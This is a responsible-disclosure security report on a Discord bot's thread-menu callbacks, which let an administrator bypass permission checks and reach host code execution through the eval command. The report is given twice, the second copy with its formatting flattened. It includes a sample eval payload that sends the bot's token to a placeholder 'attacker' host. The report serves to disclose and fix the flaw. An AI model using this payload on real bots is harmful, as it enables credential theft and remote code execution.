Security report (responsible disclosure)
Privilege escalation: thread-creation-menu command callbacks neutralize permission checks — ADMIN → host RCE via eval
Affected: core/thread.py:2904-2936 (and same primitive at :3223-3262), core/checks.py:46-50, bot.py:507-510, cogs/threadmenu.py:148-149, 214-218, 261-268
Two stacked flaws:
(a) The INVALID-level predicate is an always-allow wildcard, and the level is derived from the live checks list, which the flow controls:
# checks.py:46-50
permission_level = ctx.bot.command_perm(command_name)
if permission_level is PermissionLevel.INVALID:
return True
(b) Menu execution swaps the real checks out and spoofs author = bot:
# thread.py:2929-2936
for ctx_ in ctxs:
if ctx_.command:
old_checks = copy.copy(ctx_.command.checks)
ctx_.command.checks = [checks.has_permissions(PermissionLevel.INVALID)]
try:
await self.outer_thread.bot.invoke(ctx_)
Once swapped, command_perm() reads back only the injected INVALID predicate → unconditional allow. Independently, the synthetic message makes ctx.author.id == ctx.bot.user.id, which checks.py:42 also passes.
Meanwhile option callbacks are stored as raw free text with zero validation (threadmenu.py:214-218).
Verified exploit chain
- Attacker holds ADMINISTRATOR in the support guild (documented boundary below OWNER).
{prefix}threadmenu option add → wizard → type=command → callback: eval __import__('urllib.request',fromlist=['x']).urlopen('https://attacker/?t='+bot.config['token']).read().
- Any random Discord user DMs the bot and clicks the dropdown option.
- The menu flow resolves
all_commands.get("eval"), spoofs author to the bot, swaps checks to always-allow, invokes → eval (correctly OWNER-only normally) executes arbitrary Python inside the bot process with bot/config in scope → host RCE + Discord token + MongoDB credential theft.
Suggested fix
Validate callbacks at set time (resolve command; require its level ≤ configurator's); at invoke time do NOT swap checks — evaluate the target command's original level against a recorded "configurator level", never against a spoofed author.
Security report (responsible disclosure)
Privilege escalation: thread-creation-menu command callbacks neutralize permission checks — ADMIN → host RCE via
evalAffected:
core/thread.py:2904-2936(and same primitive at :3223-3262),core/checks.py:46-50,bot.py:507-510,cogs/threadmenu.py:148-149, 214-218, 261-268Two stacked flaws:
(a) The INVALID-level predicate is an always-allow wildcard, and the level is derived from the live checks list, which the flow controls:
(b) Menu execution swaps the real checks out and spoofs author = bot:
Once swapped,
command_perm()reads back only the injected INVALID predicate → unconditional allow. Independently, the synthetic message makesctx.author.id == ctx.bot.user.id, whichchecks.py:42also passes.Meanwhile option callbacks are stored as raw free text with zero validation (
threadmenu.py:214-218).Verified exploit chain
{prefix}threadmenu option add→ wizard →type=command→ callback:eval __import__('urllib.request',fromlist=['x']).urlopen('https://attacker/?t='+bot.config['token']).read().all_commands.get("eval"), spoofs author to the bot, swaps checks to always-allow, invokes →eval(correctly OWNER-only normally) executes arbitrary Python inside the bot process withbot/configin scope → host RCE + Discord token + MongoDB credential theft.Suggested fix
Validate callbacks at set time (resolve command; require its level ≤ configurator's); at invoke time do NOT swap checks — evaluate the target command's original level against a recorded "configurator level", never against a spoofed author.